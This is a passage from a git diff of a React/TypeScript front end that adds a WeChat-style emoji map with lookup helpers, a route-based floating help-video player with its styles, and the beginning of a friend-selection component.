"/assets/face/crazy.png", + }, + 吐: { + name: "吐", + category: EmojiCategory.FACE, + path: "/assets/face/vomit.png", + }, + 偷笑: { + name: "偷笑", + category: EmojiCategory.FACE, + path: "/assets/face/snicker.png", + }, + 愉快: { + name: "愉快", + category: EmojiCategory.FACE, + path: "/assets/face/happy.png", + }, + 白眼: { + name: "白眼", + category: EmojiCategory.FACE, + path: "/assets/face/roll-eyes.png", + }, + 傲慢: { + name: "傲慢", + category: EmojiCategory.FACE, + path: "/assets/face/arrogant.png", + }, + 困: { + name: "困", + category: EmojiCategory.FACE, + path: "/assets/face/sleepy.png", + }, + 惊恐: { + name: "惊恐", + category: EmojiCategory.FACE, + path: "/assets/face/panic.png", + }, + 憨笑: { + name: "憨笑", + category: EmojiCategory.FACE, + path: "/assets/face/silly-smile.png", + }, + 悠闲: { + name: "悠闲", + category: EmojiCategory.FACE, + path: "/assets/face/leisurely.png", + }, + 咒骂: { + name: "咒骂", + category: EmojiCategory.FACE, + path: "/assets/face/curse.png", + }, + 疑问: { + name: "疑问", + category: EmojiCategory.FACE, + path: "/assets/face/question.png", + }, + 嘘: { + name: "嘘", + category: EmojiCategory.FACE, + path: "/assets/face/shush.png", + }, + 晕: { + name: "晕", + category: EmojiCategory.FACE, + path: "/assets/face/dizzy.png", + }, + 衰: { + name: "衰", + category: EmojiCategory.FACE, + path: "/assets/face/unlucky.png", + }, + 骷髅: { + name: "骷髅", + category: EmojiCategory.FACE, + path: "/assets/face/skull.png", + }, + 敲打: { + name: "敲打", + category: EmojiCategory.FACE, + path: "/assets/face/knock.png", + }, + 再见: { + name: "再见", + category: EmojiCategory.FACE, + path: "/assets/face/goodbye.png", + }, + 擦汗: { + name: "擦汗", + category: EmojiCategory.FACE, + path: "/assets/face/wipe-sweat.png", + }, + 抠鼻: { + name: "抠鼻", + category: EmojiCategory.FACE, + path: "/assets/face/pick-nose.png", + }, + 鼓掌: { + name: "鼓掌", + category: EmojiCategory.FACE, + path: "/assets/face/clap.png", + }, + 坏笑: { + name: "坏笑", + category: EmojiCategory.FACE, + path: "/assets/face/evil-smile.png", + }, + 右哼哼: { + name: "右哼哼", + category: EmojiCategory.FACE, + path: "/assets/face/right-hum.png", + }, + 鄙视: { + name: "鄙视", + category: EmojiCategory.FACE, + path: "/assets/face/despise.png", + }, + 委屈: { + name: "委屈", + category: EmojiCategory.FACE, + path: "/assets/face/wronged.png", + }, + 快哭了: { + name: "快哭了", + category: EmojiCategory.FACE, + path: "/assets/face/about-to-cry.png", + }, + 阴险: { + name: "阴险", + category: EmojiCategory.FACE, + path: "/assets/face/sinister.png", + }, + 亲亲: { + name: "亲亲", + category: EmojiCategory.FACE, + path: "/assets/face/kiss.png", + }, + 可怜: { + name: "可怜", + category: EmojiCategory.FACE, + path: "/assets/face/pitiful.png", + }, + 笑脸: { + name: "笑脸", + category: EmojiCategory.FACE, + path: "/assets/face/smiley.png", + }, + 生病: { + name: "生病", + category: EmojiCategory.FACE, + path: "/assets/face/sick.png", + }, + 脸红: { + name: "脸红", + category: EmojiCategory.FACE, + path: "/assets/face/blush.png", + }, + 破涕为笑: { + name: "破涕为笑", + category: EmojiCategory.FACE, + path: "/assets/face/tears-to-smile.png", + }, + 恐惧: { + name: "恐惧", + category: EmojiCategory.FACE, + path: "/assets/face/fear.png", + }, + 失望: { + name: "失望", + category: EmojiCategory.FACE, + path: "/assets/face/disappointed.png", + }, + 无语: { + name: "无语", + category: EmojiCategory.FACE, + path: "/assets/face/speechless.png", + }, + 嘿哈: { + name: "嘿哈", + category: EmojiCategory.FACE, + path: "/assets/face/hey-ha.png", + }, + 捂脸: { + name: "捂脸", + category: EmojiCategory.FACE, + path: "/assets/face/facepalm.png", + }, + 机智: { + name: "机智", + category: EmojiCategory.FACE, + path: "/assets/face/smart.png", + }, + 皱眉: { + name: "皱眉", + category: EmojiCategory.FACE, + path: "/assets/face/frown.png", + }, + 耶: { + name: "耶", + category: EmojiCategory.FACE, + path: "/assets/face/yeah.png", + }, + 吃瓜: { + name: "吃瓜", + category: EmojiCategory.FACE, + path: "/assets/face/eat-melon.png", + }, + 加油: { + name: "加油", + category: EmojiCategory.FACE, + path: "/assets/face/cheer-up.png", + }, + + 汗: { + name: "汗", + category: EmojiCategory.FACE, + path: "/assets/face/sweat.png", + }, + 天啊: { + name: "天啊", + category: EmojiCategory.FACE, + path: "/assets/face/oh-my.png", + }, + Emm: { + name: "Emm", + category: EmojiCategory.FACE, + path: "/assets/face/Emm.png", + }, + 社会社会: { + name: "社会社会", + category: EmojiCategory.FACE, + path: "/assets/face/social.png", + }, + 旺柴: { + name: "旺柴", + category: EmojiCategory.FACE, + path: "/assets/face/doge.png", + }, + 好的: { + name: "好的", + category: EmojiCategory.FACE, + path: "/assets/face/good.png", + }, + 打脸: { + name: "打脸", + category: EmojiCategory.FACE, + path: "/assets/face/slap-face.png", + }, + 哇: { + name: "哇", + category: EmojiCategory.FACE, + path: "/assets/face/wow.png", + }, + 翻白眼: { + name: "翻白眼", + category: EmojiCategory.FACE, + path: "/assets/face/eye-roll.png", + }, + "666": { + name: "666", + category: EmojiCategory.FACE, + path: "/assets/face/666.png", + }, + 让我看看: { + name: "让我看看", + category: EmojiCategory.FACE, + path: "/assets/face/let-me-see.png", + }, + 叹气: { + name: "叹气", + category: EmojiCategory.FACE, + path: "/assets/face/sigh.png", + }, + 苦涩: { + name: "苦涩", + category: EmojiCategory.FACE, + path: "/assets/face/bitter.png", + }, + 裂开: { + name: "裂开", + category: EmojiCategory.FACE, + path: "/assets/face/crack.png", + }, + 奸笑: { + name: "奸笑", + category: EmojiCategory.FACE, + path: "/assets/face/sly-smile.png", + }, + + // 手势表情 + 握手: { + name: "握手", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/handshake.png", + }, + 胜利: { + name: "胜利", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/victory.png", + }, + 抱拳: { + name: "抱拳", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/fist-salute.png", + }, + 勾引: { + name: "勾引", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/beckon.png", + }, + 拳头: { + name: "拳头", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/fist.png", + }, + OK: { + name: "OK", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/OK.png", + }, + 合十: { + name: "合十", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/pray.png", + }, + 强: { + name: "强", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/strong.png", + }, + 拥抱: { + name: "拥抱", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/hug.png", + }, + 弱: { + name: "弱", + category: EmojiCategory.GESTURE, + path: "/assets/gesture/weak.png", + }, + + // 动物表情 + 猪头: { + name: "猪头", + category: EmojiCategory.ANIMAL, + path: "/assets/animal/pig.png", + }, + 跳跳: { + name: "跳跳", + category: EmojiCategory.ANIMAL, + path: "/assets/animal/jump.png", + }, + 发抖: { + name: "发抖", + category: EmojiCategory.ANIMAL, + path: "/assets/animal/tremble.png", + }, + 转圈: { + name: "转圈", + category: EmojiCategory.ANIMAL, + path: "/assets/animal/circle.png", + }, + + // 祝福表情 + 庆祝: { + name: "庆祝", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/celebrate.png", + }, + 礼物: { + name: "礼物", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/gift.png", + }, + 红包: { + name: "红包", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/red-envelope.png", + }, + 發: { + name: "發", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/get-rich.png", + }, + 福: { + name: "福", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/fortune.png", + }, + 烟花: { + name: "烟花", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/fireworks.png", + }, + 爆竹: { + name: "爆竹", + category: EmojiCategory.BLESSING, + path: "/assets/blessing/firecrackers.png", + }, + + // 其他表情 + 嘴唇: { + name: "嘴唇", + category: EmojiCategory.OTHER, + path: "/assets/other/lips.png", + }, + 爱心: { + name: "爱心", + category: EmojiCategory.OTHER, + path: "/assets/other/heart.png", + }, + 心碎: { + name: "心碎", + category: EmojiCategory.OTHER, + path: "/assets/other/broken-heart.png", + }, + 啤酒: { + name: "啤酒", + category: EmojiCategory.OTHER, + path: "/assets/other/beer.png", + }, + 咖啡: { + name: "咖啡", + category: EmojiCategory.OTHER, + path: "/assets/other/coffee.png", + }, + 蛋糕: { + name: "蛋糕", + category: EmojiCategory.OTHER, + path: "/assets/other/cake.png", + }, + 凋谢: { + name: "凋谢", + category: EmojiCategory.OTHER, + path: "/assets/other/wither.png", + }, + 菜刀: { + name: "菜刀", + category: EmojiCategory.OTHER, + path: "/assets/other/knife.png", + }, + 炸弹: { + name: "炸弹", + category: EmojiCategory.OTHER, + path: "/assets/other/bomb.png", + }, + 便便: { + name: "便便", + category: EmojiCategory.OTHER, + path: "/assets/other/poop.png", + }, + 太阳: { + name: "太阳", + category: EmojiCategory.OTHER, + path: "/assets/other/sun.png", + }, + 月亮: { + name: "月亮", + category: EmojiCategory.OTHER, + path: "/assets/other/moon.png", + }, + 玫瑰: { + name: "玫瑰", + category: EmojiCategory.OTHER, + path: "/assets/other/rose.png", + }, +}; + +/** + * 获取所有表情数据的辅助函数 + */ +function getAllEmojiData(): EmojiInfo[] { + const result: EmojiInfo[] = []; + for (const key in EMOJI_DATA) { + if (Object.prototype.hasOwnProperty.call(EMOJI_DATA, key)) { + result.push(EMOJI_DATA[key as EmojiName]); + } + } + return result; +} + +/** + * 按类别分组的表情数据 + */ +export const EMOJI_CATEGORIES = { + [EmojiCategory.FACE]: getAllEmojiData().filter( + emoji => emoji.category === EmojiCategory.FACE, + ), + [EmojiCategory.GESTURE]: getAllEmojiData().filter( + emoji => emoji.category === EmojiCategory.GESTURE, + ), + [EmojiCategory.ANIMAL]: getAllEmojiData().filter( + emoji => emoji.category === EmojiCategory.ANIMAL, + ), + [EmojiCategory.BLESSING]: getAllEmojiData().filter( + emoji => emoji.category === EmojiCategory.BLESSING, + ), + [EmojiCategory.OTHER]: getAllEmojiData().filter( + emoji => emoji.category === EmojiCategory.OTHER, + ), +} as const; + +/** + * 获取表情图片路径 + * @param name 表情名称 + * @returns 图片路径,如果表情不存在则返回 null + * + * @example + * ```typescript + * const path = getEmojiPath('微笑'); // 'assets/face/微笑.png' + * const invalidPath = getEmojiPath('不存在'); // null + * ``` + */ +export function getEmojiPath(name: EmojiName): string | null { + const emoji = EMOJI_DATA[name]; + return emoji ? emoji.path : null; +} + +/** + * 获取表情信息 + * @param name 表情名称 + * @returns 表情信息对象,如果表情不存在则返回 null + * + * @example + * ```typescript + * const emoji = getEmojiInfo('微笑'); + * // { name: '微笑', category: EmojiCategory.FACE, path: 'assets/face/微笑.png' } + * ``` + */ +export function getEmojiInfo(name: EmojiName): EmojiInfo | null { + return EMOJI_DATA[name] || null; +} + +/** + * 根据类别获取表情列表 + * @param category 表情类别 + * @returns 该类别下的所有表情信息 + * + * @example + * ```typescript + * const faceEmojis = getEmojisByCategory(EmojiCategory.FACE); + * ``` + */ +export function getEmojisByCategory(category: EmojiCategory): EmojiInfo[] { + return EMOJI_CATEGORIES[category]; +} + +/** + * 获取所有表情信息 + * @returns 所有表情的信息数组 + * + * @example + * ```typescript + * const allEmojis = getAllEmojis(); + * console.log(`总共有 ${allEmojis.length} 个表情`); + * ``` + */ +export function getAllEmojis(): EmojiInfo[] { + return getAllEmojiData(); +} + +/** + * 搜索表情 + * @param keyword 搜索关键词 + * @returns 匹配的表情信息数组 + * + * @example + * ```typescript + * const results = searchEmojis('笑'); + * // 返回包含 '微笑', '偷笑', '坏笑' 等的表情 + * ``` + */ +export function searchEmojis(keyword: string): EmojiInfo[] { + return getAllEmojiData().filter(emoji => emoji.name.indexOf(keyword) !== -1); +} + +/** + * 检查表情是否存在 + * @param name 表情名称 + * @returns 是否存在该表情 + * + * @example + * ```typescript + * const exists = hasEmoji('微笑'); // true + * const notExists = hasEmoji('不存在的表情'); // false + * ``` + */ +export function hasEmoji(name: EmojiName): boolean { + return name in EMOJI_DATA; +} + +/** + * 获取表情名称列表 + * @param category 可选的类别筛选 + * @returns 表情名称数组 + * + * @example + * ```typescript + * const allNames = getEmojiNames(); + * const faceNames = getEmojiNames(EmojiCategory.FACE); + * ``` + */ +export function getEmojiNames(category?: EmojiCategory): string[] { + if (category) { + return getEmojisByCategory(category).map(emoji => emoji.name); + } + const names: string[] = []; + for (const key in EMOJI_DATA) { + if (Object.prototype.hasOwnProperty.call(EMOJI_DATA, key)) { + names.push(key); + } + } + return names; +} + +/** + * 随机获取表情 + * @param category 可选的类别筛选 + * @returns 随机表情信息 + * + * @example + * ```typescript + * const randomEmoji = getRandomEmoji(); + * const randomFaceEmoji = getRandomEmoji(EmojiCategory.FACE); + * ``` + */ +export function getRandomEmoji(category?: EmojiCategory): EmojiInfo { + const emojis = category ? getEmojisByCategory(category) : getAllEmojis(); + const randomIndex = Math.floor(Math.random() * emojis.length); + return emojis[randomIndex]; +} + +/** + * 默认导出对象,包含所有主要功能 + */ +const WeChatEmojis = { + // 枚举和类型 + EmojiCategory, + + // 数据 + EMOJI_CATEGORIES, + + // 工具函数 + getEmojiPath, + getEmojiInfo, + getEmojisByCategory, + getAllEmojis, + searchEmojis, + hasEmoji, + getEmojiNames, + getRandomEmoji, +} as const; + +export default WeChatEmojis; diff --git a/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.module.scss b/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.module.scss new file mode 100644 index 00000000..308c00d5 --- /dev/null +++ b/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.module.scss @@ -0,0 +1,128 @@ +.modalMask { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.8); + z-index: 9999; + display: flex; + align-items: center; + justify-content: center; + padding: 20px; + animation: fadeIn 0.3s ease; +} + +.videoContainer { + width: 100%; + max-width: 90vw; + max-height: 90vh; + background: #000; + border-radius: 8px; + overflow: hidden; + display: flex; + flex-direction: column; + animation: slideUp 0.3s ease; +} + +.header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 12px 16px; + background: rgba(0, 0, 0, 0.8); + color: #fff; + border-bottom: 1px solid rgba(255, 255, 255, 0.1); + + .title { + font-size: 16px; + font-weight: 600; + color: #fff; + } + + .closeButton { + width: 32px; + height: 32px; + border-radius: 50%; + border: none; + background: rgba(255, 255, 255, 0.1); + color: #fff; + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s ease; + padding: 0; + + &:hover { + background: rgba(255, 255, 255, 0.2); + } + + &:active { + transform: scale(0.95); + } + + svg { + font-size: 16px; + } + } +} + +.videoWrapper { + width: 100%; + position: relative; + padding-top: 56.25%; // 16:9 比例 + background: #000; +} + +.video { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + object-fit: contain; + outline: none; +} + +// 动画 +@keyframes fadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} + +@keyframes slideUp { + from { + transform: translateY(20px); + opacity: 0; + } + to { + transform: translateY(0); + opacity: 1; + } +} + +// 移动端适配 +@media (max-width: 768px) { + .modalMask { + padding: 0; + } + + .videoContainer { + max-width: 100vw; + max-height: 100vh; + border-radius: 0; + } + + .header { + padding: 10px 12px; + + .title { + font-size: 14px; + } + } +} diff --git a/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.tsx b/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.tsx new file mode 100644 index 00000000..a26e824a --- /dev/null +++ b/Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.tsx @@ -0,0 +1,101 @@ +import React, { useRef, useEffect } from "react"; +import { CloseOutlined } from "@ant-design/icons"; +import styles from "./VideoPlayer.module.scss"; + +interface VideoPlayerProps { + /** 视频URL */ + videoUrl: string; + /** 是否显示播放器 */ + visible: boolean; + /** 关闭回调 */ + onClose: () => void; + /** 视频标题 */ + title?: string; +} + +const VideoPlayer: React.FC = ({ + videoUrl, + visible, + onClose, + title = "操作视频", +}) => { + const videoRef = useRef(null); + const containerRef = useRef(null); + + useEffect(() => { + if (visible && videoRef.current) { + // 播放器打开时播放视频 + videoRef.current.play().catch(err => { + console.error("视频播放失败:", err); + }); + // 阻止背景滚动 + document.body.style.overflow = "hidden"; + } else if (videoRef.current) { + // 播放器关闭时暂停视频 + videoRef.current.pause(); + document.body.style.overflow = ""; + } + + return () => { + document.body.style.overflow = ""; + }; + }, [visible]); + + // 点击遮罩层关闭 + const handleMaskClick = (e: React.MouseEvent) => { + // 如果点击的是遮罩层本身(不是视频容器),则关闭 + if (e.target === e.currentTarget) { + handleClose(); + } + }; + + const handleClose = () => { + if (videoRef.current) { + videoRef.current.pause(); + } + onClose(); + }; + + // 阻止事件冒泡 + const handleContentClick = (e: React.MouseEvent) => { + e.stopPropagation(); + }; + + if (!visible) { + return null; + } + + return ( +
      +
      +
      + {title} + +
      +
      + +
      +
      +
      + ); +}; + +export default VideoPlayer; diff --git a/Cunkebao/src/components/FloatingVideoHelp/index.module.scss b/Cunkebao/src/components/FloatingVideoHelp/index.module.scss new file mode 100644 index 00000000..0b35e258 --- /dev/null +++ b/Cunkebao/src/components/FloatingVideoHelp/index.module.scss @@ -0,0 +1,56 @@ +.floatingButton { + position: fixed; + right: 20px; + bottom: 80px; + width: 56px; + height: 56px; + border-radius: 50%; + background: linear-gradient(135deg, #1890ff 0%, #096dd9 100%); + box-shadow: 0 4px 12px rgba(24, 144, 255, 0.4); + display: flex; + align-items: center; + justify-content: center; + cursor: pointer; + z-index: 9998; + transition: all 0.3s ease; + animation: float 3s ease-in-out infinite; + + &:hover { + transform: scale(1.1); + box-shadow: 0 6px 16px rgba(24, 144, 255, 0.5); + } + + &:active { + transform: scale(0.95); + } + + .icon { + font-size: 28px; + color: #ffffff; + display: flex; + align-items: center; + justify-content: center; + } + + // 移动端适配 + @media (max-width: 768px) { + right: 16px; + bottom: 70px; + width: 50px; + height: 50px; + + .icon { + font-size: 24px; + } + } +} + +@keyframes float { + 0%, + 100% { + transform: translateY(0); + } + 50% { + transform: translateY(-10px); + } +} diff --git a/Cunkebao/src/components/FloatingVideoHelp/index.tsx b/Cunkebao/src/components/FloatingVideoHelp/index.tsx new file mode 100644 index 00000000..a85ad480 --- /dev/null +++ b/Cunkebao/src/components/FloatingVideoHelp/index.tsx @@ -0,0 +1,68 @@ +import React, { useState, useEffect } from "react"; +import { useLocation } from "react-router-dom"; +import { PlayCircleOutlined } from "@ant-design/icons"; +import VideoPlayer from "./VideoPlayer"; +import { getVideoUrlByRoute } from "./videoConfig"; +import styles from "./index.module.scss"; + +interface FloatingVideoHelpProps { + /** 是否显示悬浮窗,默认为 true */ + visible?: boolean; + /** 自定义样式类名 */ + className?: string; +} + +const FloatingVideoHelp: React.FC = ({ + visible = true, + className, +}) => { + const location = useLocation(); + const [showPlayer, setShowPlayer] = useState(false); + const [currentVideoUrl, setCurrentVideoUrl] = useState(null); + + // 根据当前路由获取视频URL + useEffect(() => { + const videoUrl = getVideoUrlByRoute(location.pathname); + setCurrentVideoUrl(videoUrl); + }, [location.pathname]); + + const handleClick = () => { + if (currentVideoUrl) { + setShowPlayer(true); + } else { + // 如果没有对应的视频,可以显示提示 + console.warn("当前路由没有对应的操作视频"); + } + }; + + const handleClose = () => { + setShowPlayer(false); + }; + + // 如果没有视频URL,不显示悬浮窗 + if (!visible || !currentVideoUrl) { + return null; + } + + return ( + <> +
      + +
      + + {showPlayer && currentVideoUrl && ( + + )} + + ); +}; + +export default FloatingVideoHelp; diff --git a/Cunkebao/src/components/FloatingVideoHelp/videoConfig.ts b/Cunkebao/src/components/FloatingVideoHelp/videoConfig.ts new file mode 100644 index 00000000..35798056 --- /dev/null +++ b/Cunkebao/src/components/FloatingVideoHelp/videoConfig.ts @@ -0,0 +1,110 @@ +/** + * 路由到视频URL的映射配置 + * key: 路由路径(支持正则表达式) + * value: 视频URL + */ +interface VideoConfig { + [route: string]: string; +} + +// 视频URL配置 +const videoConfig: VideoConfig = { + // 首页 + "/": "/videos/home.mp4", + "/mobile/home": "/videos/home.mp4", + + // 工作台 + "/workspace": "/videos/workspace.mp4", + "/workspace/auto-like": "/videos/auto-like-list.mp4", + "/workspace/auto-like/new": "/videos/auto-like-new.mp4", + "/workspace/auto-like/record": "/videos/auto-like-record.mp4", + "/workspace/auto-group": "/videos/auto-group-list.mp4", + "/workspace/auto-group/new": "/videos/auto-group-new.mp4", + "/workspace/group-push": "/videos/group-push-list.mp4", + "/workspace/group-push/new": "/videos/group-push-new.mp4", + "/workspace/moments-sync": "/videos/moments-sync-list.mp4", + "/workspace/moments-sync/new": "/videos/moments-sync-new.mp4", + "/workspace/ai-assistant": "/videos/ai-assistant.mp4", + "/workspace/ai-analyzer": "/videos/ai-analyzer.mp4", + "/workspace/traffic-distribution": "/videos/traffic-distribution-list.mp4", + "/workspace/traffic-distribution/new": "/videos/traffic-distribution-new.mp4", + "/workspace/contact-import": "/videos/contact-import-list.mp4", + "/workspace/contact-import/form": "/videos/contact-import-form.mp4", + "/workspace/ai-knowledge": "/videos/ai-knowledge-list.mp4", + "/workspace/ai-knowledge/new": "/videos/ai-knowledge-new.mp4", + + // 我的 + "/mobile/mine": "/videos/mine.mp4", + "/mobile/mine/devices": "/videos/devices.mp4", + "/mobile/mine/wechat-accounts": "/videos/wechat-accounts.mp4", + "/mobile/mine/content": "/videos/content.mp4", + "/mobile/mine/traffic-pool": "/videos/traffic-pool.mp4", + "/mobile/mine/recharge": "/videos/recharge.mp4", + "/mobile/mine/setting": "/videos/setting.mp4", + + // 场景 + "/mobile/scenarios": "/videos/scenarios.mp4", + "/mobile/scenarios/plan": "/videos/scenarios-plan.mp4", +}; + +/** + * 根据路由路径获取对应的视频URL + * @param routePath 当前路由路径 + * @returns 视频URL,如果没有匹配则返回 null + */ +export function getVideoUrlByRoute(routePath: string): string | null { + // 精确匹配 + if (videoConfig[routePath]) { + return videoConfig[routePath]; + } + + // 模糊匹配(支持动态路由参数) + // 例如:/workspace/auto-like/edit/123 会匹配 /workspace/auto-like/edit/:id + const routeKeys = Object.keys(videoConfig); + for (const key of routeKeys) { + // 将配置中的 :id 等参数转换为正则表达式 + const regexPattern = key.replace(/:\w+/g, "[^/]+"); + const regex = new RegExp(`^${regexPattern}$`); + if (regex.test(routePath)) { + return videoConfig[key]; + } + } + + // 前缀匹配(作为兜底方案) + // 例如:/workspace/auto-like/edit/123 会匹配 /workspace/auto-like + const sortedKeys = routeKeys.sort((a, b) => b.length - a.length); // 按长度降序排列 + for (const key of sortedKeys) { + if (routePath.startsWith(key)) { + return videoConfig[key]; + } + } + + return null; +} + +/** + * 添加或更新视频配置 + * @param route 路由路径 + * @param videoUrl 视频URL + */ +export function setVideoConfig(route: string, videoUrl: string): void { + videoConfig[route] = videoUrl; +} + +/** + * 批量添加视频配置 + * @param config 视频配置对象 + */ +export function setVideoConfigs(config: VideoConfig): void { + Object.assign(videoConfig, config); +} + +/** + * 获取所有视频配置 + * @returns 视频配置对象 + */ +export function getAllVideoConfigs(): VideoConfig { + return { ...videoConfig }; +} + +export default videoConfig; diff --git a/Cunkebao/src/components/FriendSelection/api.ts b/Cunkebao/src/components/FriendSelection/api.ts new file mode 100644 index 00000000..346253ef --- /dev/null +++ b/Cunkebao/src/components/FriendSelection/api.ts @@ -0,0 +1,11 @@ +import request from "@/api/request"; + +// 获取好友列表 +export function getFriendList(params: { + page: number; + limit: number; + deviceIds?: string; // 逗号分隔 + keyword?: string; +}) { + return request("/v1/friend", params, "GET"); +} diff --git a/Cunkebao/src/components/FriendSelection/data.ts b/Cunkebao/src/components/FriendSelection/data.ts new file mode 100644 index 00000000..434aa641 --- /dev/null +++ b/Cunkebao/src/components/FriendSelection/data.ts @@ -0,0 +1,27 @@ +export interface FriendSelectionItem { + id: number; + wechatId: string; + nickname: string; + avatar: string; + [key: string]: any; +} + +// 组件属性接口 +export interface FriendSelectionProps { + selectedOptions?: FriendSelectionItem[]; + onSelect: (friends: FriendSelectionItem[]) => void; + deviceIds?: number[]; + enableDeviceFilter?: boolean; + placeholder?: string; + className?: string; + visible?: boolean; // 新增 + onVisibleChange?: (visible: boolean) => void; // 新增 + selectedListMaxHeight?: number; + showInput?: boolean; + showSelectedList?: boolean; + readonly?: boolean; + onConfirm?: ( + selectedIds: number[], + selectedItems: FriendSelectionItem[], + ) => void; // 新增 +} diff --git a/Cunkebao/src/components/FriendSelection/index.module.scss b/Cunkebao/src/components/FriendSelection/index.module.scss new file mode 100644 index 00000000..f450dde2 --- /dev/null +++ b/Cunkebao/src/components/FriendSelection/index.module.scss @@ -0,0 +1,246 @@ +.inputWrapper { + position: relative; +} +.selectedListRow { + padding: 8px; + border-bottom: 1px solid #f0f0f0; + font-size: 14px; +} +.selectedListRowContent { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; +} +.selectedListRowContentText { + flex: 1; +} +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 20px; +} +.input { + padding-left: 38px !important; + height: 48px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; +} + +.popupContainer { + display: flex; + flex-direction: column; + height: 100vh; + background: #fff; +} +.popupHeader { + padding: 24px; +} +.popupTitle { + text-align: center; + font-size: 20px; + font-weight: 600; + margin-bottom: 24px; +} +.searchWrapper { + position: relative; + margin-bottom: 16px; +} +.searchInput { + padding-left: 40px !important; + padding-top: 8px !important; + padding-bottom: 8px !important; + border-radius: 24px !important; + border: 1px solid #e5e6eb !important; + font-size: 15px; + background: #f8f9fa; +} +.searchIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 16px; +} +.clearBtn { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + height: 24px; + width: 24px; + border-radius: 50%; + min-width: 24px; +} + +.friendList { + flex: 1; + overflow-y: auto; +} +.friendListInner { + border-top: 1px solid #f0f0f0; +} +.friendItem { + display: flex; + align-items: center; + padding: 16px 24px; + border-bottom: 1px solid #f0f0f0; + cursor: pointer; + transition: background 0.2s; + &:hover { + background: #f5f6fa; + } +} +.radioWrapper { + margin-right: 12px; + display: flex; + align-items: center; + justify-content: center; +} +.radioSelected { + width: 20px; + height: 20px; + border-radius: 50%; + border: 2px solid #1890ff; + display: flex; + align-items: center; + justify-content: center; +} +.radioUnselected { + width: 20px; + height: 20px; + border-radius: 50%; + border: 2px solid #e5e6eb; + display: flex; + align-items: center; + justify-content: center; +} +.radioDot { + width: 12px; + height: 12px; + border-radius: 50%; + background: #1890ff; +} +.friendInfo { + display: flex; + align-items: center; + gap: 12px; + flex: 1; +} +.friendAvatar { + width: 40px; + height: 40px; + border-radius: 50%; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: center; + color: #fff; + font-size: 14px; + font-weight: 500; + overflow: hidden; +} +.avatarImg { + width: 100%; + height: 100%; + object-fit: cover; +} +.friendDetail { + flex: 1; +} +.friendName { + font-weight: 500; + font-size: 16px; + color: #222; + margin-bottom: 2px; +} +.friendId { + font-size: 13px; + color: #888; + margin-bottom: 2px; +} +.friendCustomer { + font-size: 13px; + color: #bdbdbd; +} + +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.emptyText { + color: #888; + font-size: 15px; +} + +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} +.totalCount { + font-size: 14px; + color: #888; +} +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; +} +.pageInfo { + font-size: 14px; + color: #222; +} + +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} +.selectedCount { + font-size: 14px; + color: #888; +} +.footerBtnGroup { + display: flex; + gap: 12px; +} +.cancelBtn { + padding: 0 24px; + border-radius: 24px; + border: 1px solid #e5e6eb; +} +.confirmBtn { + padding: 0 24px; + border-radius: 24px; +} diff --git a/Cunkebao/src/components/FriendSelection/index.tsx b/Cunkebao/src/components/FriendSelection/index.tsx new file mode 100644 index 00000000..a3745eff --- /dev/null +++ b/Cunkebao/src/components/FriendSelection/index.tsx @@ -0,0 +1,140 @@ +import React, { useState } from "react"; +import { SearchOutlined, DeleteOutlined } from "@ant-design/icons"; +import { Button, Input } from "antd"; +import { Avatar } from "antd-mobile"; +import style from "./index.module.scss"; +import { FriendSelectionProps } from "./data"; +import SelectionPopup from "./selectionPopup"; + +export default function FriendSelection({ + selectedOptions = [], + onSelect, + deviceIds = [], + enableDeviceFilter = true, + placeholder = "选择微信好友", + className = "", + visible, + onVisibleChange, + selectedListMaxHeight = 300, + showInput = true, + showSelectedList = true, + readonly = false, + onConfirm, +}: FriendSelectionProps) { + const [popupVisible, setPopupVisible] = useState(false); + // 内部弹窗交给 selectionPopup 处理 + + // 受控弹窗逻辑 + const realVisible = visible !== undefined ? visible : popupVisible; + const setRealVisible = (v: boolean) => { + if (onVisibleChange) onVisibleChange(v); + if (visible === undefined) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if (!selectedOptions || selectedOptions.length === 0) return ""; + return `已选择 ${selectedOptions.length} 个好友`; + }; 